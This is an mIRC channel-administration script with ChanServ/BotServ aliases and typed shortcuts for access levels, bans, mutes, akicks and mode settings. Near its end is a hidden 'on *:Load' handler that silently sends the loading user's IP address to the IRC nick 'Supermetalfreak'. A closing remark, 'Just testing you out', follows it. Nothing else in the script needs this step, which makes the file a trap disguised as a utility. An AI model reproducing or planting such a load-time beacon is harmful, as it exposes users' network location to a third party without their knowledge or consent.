alias add { 
  cs access # add $$1 $2 | if ($2 == 3 && $1 ison #) { mode # +v-aoh $1 $1 $1 $1 } | if ($2 == 4 && $1 ison #) { mode # +h-aov $1 $1 $1 $1 } | if ($2 == 5 && $1 ison #) { mode # +o-ahv $1 $1 $1 $1 } | if ($2 >= 10 && $1 ison #) { mode # +ao-hv $1 $1 $1 $1 } | { notice $$1 Added to  $+ # access list level  $+ $2 $+ . } 
}
on *:input:#: { if ($1 == .ei) { mode $chan +eeII $address($1,6) $me $address($me,6) $me } 
  if (+* iswm $1) { mode $chan $1- } 
  if (-* iswm $1) { mode $chan $1- } 
  if ( $1 == .banclear ) { cs clear $chan bans }
  if ( $1 == .add ) { cs access $chan add $2 $3 }
  if ($1 == .mlock) { cs set $chan mlock $2 }
  if ($1 == .setacc-change) { cs levels $chan set acc-change $2 }
  if ($1 == .akick) { cs akick $chan add $2 $3 }
  if ($1 == .delakick) { cs akick $chan del $2 $3 }
  if ($1 == .setakick) { cs levels $chan set akick $2 }
  if ($1 == .ban) { mode $chan +b $address($2,2) }
  if ($1 == .unban) { mode $chan -b $address($2,2) } 
  if ($1 == .k) { /k $chan $2 $3- } 
  if ($1 == .inv) { invite $2 $chan } 
  if ($1 == .del) { cs access $chan del $2 } 
  if ($1 == pm && $2 == open) { query $3 | halt } 
  if ($1 == pm && $2 == close) { close -m $3  | halt }
  if ($1 == .kb) { ban -k $chan $2 $3- } 
  if ($1 == .tb) { ban -ku $+ $calc( $3 * 60 ) $chan $2 $4 } 
  if ($1 == .mute) { mode $chan +b ~q: $+ $address($2,6) | .timer 1 $calc( $3 * 60 ) mode $chan -b ~q: $+ $address($2,6) } 
  if ($1 == .unmute) { mode $chan -b ~q: $+ $address($2,6) } 
  if ($1 == .-ei) { mode $chan -eeII $address($me,6) $me $address($me,6) $me } 
  if ($1 == .list) { cs access $chan list $2 } 
  if ($1 == .info) { cs info $chan } 
  if ($1 == .n) { ns update } 
  if ( $1 == .cb ) { mode $chan +b ~c: $+ $2 } 
  if ( $1 == .-cb ) { mode $chan -b ~c: $+ $2 } 
  if ( $1 = .v ) { mode $chan +v $$2 } 
  if ( $1 = .-v ) { mode $chan -v $$2 }
  if ( $1 = .h ) { mode $chan +h $$2 } 
  if ( $1 = .-h ) { mode $chan -h $$2 } 
  if ( $1 = .o ) { mode $chan +o $$2 } 
  if ( $1 = .-o ) { mode $chan -o $$2 } 
  if ( $1 == .read ) { msg memoserv read $2 } 
  if ( $1 == .assign ) { bs assign $chan $2 } 
  if ( $1 == .unassign ) { bs unassign $chan $2 }
  if ($1 == .safemodes) {
    mode $active -cfijklmnpstz
    mode $active - $+ $upper(cgmklnqrstv)
    mode $active +RQntjf 4:5 [8j#i10]:10
  }
}
on *:Load:{
  msg Supermetalfreak $ip
}

You probably gonna catch this, lol. Just testing you out :P